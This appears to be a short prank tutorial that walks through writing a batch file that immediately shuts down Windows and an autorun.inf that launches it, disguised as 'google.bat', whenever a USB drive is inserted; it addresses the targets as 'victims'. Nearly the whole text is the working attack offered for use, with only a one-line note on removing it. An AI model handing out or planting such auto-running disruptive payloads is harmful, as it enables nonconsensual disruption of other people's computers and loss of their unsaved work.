Automatically shutdown other pc

Step 1:>>copy this  code into notepad: 
@echo off
shutdown -s -t 00
Save as Anyname.bat extension (for eg: google.bat). 
Step 2:
      Now open the notepad and copy this code: 
[autorun]
Open=google.bat
Action=Mouse Disable

   Save it as "autorun.inf" 
Step 3:
         Then copy the two files in your pen drive or victim's pen drive. 
That's all whenever the victim insert his pen drive,the system will be turned off automatically.
 
To disable this 
just cancel autorun and format the pendrive